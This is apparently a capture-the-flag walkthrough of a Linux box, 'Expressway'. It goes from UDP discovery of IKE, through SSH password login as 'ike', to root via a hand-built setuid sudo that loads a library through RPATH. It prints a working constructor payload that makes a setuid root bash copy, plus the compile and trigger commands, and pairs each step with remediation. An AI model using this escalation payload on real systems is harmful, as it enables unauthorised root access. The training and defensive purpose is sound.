← all walkthroughs

Expressway

Linux· Easy
owned
2026-06-29
time to own
7m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target answers on two ports: SSH, and 500/udp running isakmp — an IPsec key-exchange daemon, which is the whole of its public surface and is also where the account name comes from, since the local user is called ike. The password for that account authenticates over SSH, and that is the foothold.

From the shell it gives, the escalation is a SUID binary in the wrong place: /usr/local/bin/sudo, setuid root, linked against a library it resolves through a search path its own header carries. A shared object whose constructor runs before main gets executed as root the moment the binary is invoked — no argument parsing, no sudo rule, nothing the binary was meant to do.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <the-library-name-from-the-header> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service discovery (T1046)
Mapped the surface: SSH, and an IPsec key-exchange daemon
A full TCP sweep returns one service, OpenSSH on 22. The interesting one is on UDP: 500, isakmp, the key-exchange half of IPsec. UDP scanning is slow and easy to skip, and skipping it here would leave the box looking like nothing but a bastion. The name of the local account that matters later — ike — is the name of that protocol's daemon.
The recorded service list is 22/tcp OpenSSH 10.0p2 Debian 8 and 500/udp isakmp. No HTTP service is listed on any port.
Exact commands 2
shell

TCP first: one service, and it is SSH.

$ nmap -Pn -sV -p- --min-rate 5000 $TARGET
shell

The UDP sweep is what finds 500/isakmp, and it is the only thing that distinguishes this host.

$ sudo nmap -sU -sV --top-ports 50 $TARGET
FixDo not expose IKE, and do not name accounts after servicesMedium
Weakness500/udp was reachable from outside, and a local account shared its name with the daemon — which hands an unauthorised user a username to try before they have learned anything else about the host.
FixRestrict the IPsec responder to the peers that need it. Name service accounts so they cannot be guessed from a port scan, and deny them interactive login.
2Initial AccessValid accounts (T1078)
Logged in over SSH as ike
The credential for ike is a password, and password authentication is accepted, so the login is direct. Worth trying both plausible account names rather than assuming: the useful one is named after the service on 500/udp, not after the host.
Sshpass with that password authenticated as ike and returned an interactive shell and the user flag.
Exact commands 2
shell

Two candidates, one line. Ike is the one that answers.

$ for u in ike expressway; do printf '%s: ' "$u"; sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no "$u@$TARGET" 'id' 2>&1 | tail -1; done
shell

-> <user.txt>

$ sshpass -p "$PASSWORD" ssh ike@$TARGET 'cat ~/user.txt'
3DiscoveryFile and directory discovery (T1083)
Found a setuid sudo outside the package manager's sudo
A SUID sweep turns up /usr/local/bin/sudo. That path is the giveaway: the distribution's sudo lives in /usr/bin, and /usr/local is where something was installed by hand. A setuid binary that was built locally is worth reading the headers of, because whoever built it chose how it finds its libraries.
Find reported /usr/local/bin/sudo as setuid root; it is a separate binary from the packaged sudo in /usr/bin.
Exact commands 3
shell

The one in /usr/local is the one that was not installed by the package manager.

$ find / -perm -4000 -type f 2>/dev/null
shell

Setuid root, and dynamically linked — which means it resolves libraries at load time.

$ ls -la /usr/local/bin/sudo && file /usr/local/bin/sudo && ldd /usr/local/bin/sudo
shell

The header names where it looks first. That directory is the attack surface.

$ readelf -d /usr/local/bin/sudo | grep -E 'RPATH|RUNPATH'
FixDo not install setuid binaries outside the package managerCritical
WeaknessA hand-built setuid-root sudo in /usr/local/bin resolved a library through a search path recorded in its own header. Anything that can write to that path executes as root without needing a sudo rule, a password, or any part of the binary's intended behaviour.
FixRemove the local build and use the distribution's sudo. Where a setuid binary genuinely has to be built, link it statically or with no RPATH or RUNPATH, keep every directory on its search path root-owned and unwritable, and audit for setuid files outside the package database on a schedule.
4Privilege EscalationHijack execution flow: dynamic linker hijacking (T1574.006)
Ran code as root from a library constructor before the binary started
A shared object can carry a function marked as a constructor, and the dynamic linker runs it while loading the library — before main, before the program has parsed anything. A setuid binary that loads a library from a directory I can write therefore runs my code with its privileges and never reaches its own logic. The payload only has to leave something behind that outlives the process: a setuid copy of a shell is the smallest one.
The constructor object was compiled on the target and placed on the binary's own search path; invoking /usr/local/bin/sudo executed it as root, and the root flag was read through the setuid shell it left.
Exact commands 3
shell

The constructor attribute is the whole trick: this runs at load time, not at call time.

$ cat > /tmp/woot.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
  setuid(0); setgid(0);
  system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
}
EOF
shell

Name it whatever the binary's search path expects to find, and place it there.

$ gcc -shared -fPIC -o <the-library-name-from-the-header> /tmp/woot.c
shell

Invoking the binary is enough; -p keeps the effective uid the setuid copy carries -> <root.txt>

$ /usr/local/bin/sudo --version >/dev/null 2>&1; /tmp/rootbash -p -c 'id; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
500/udp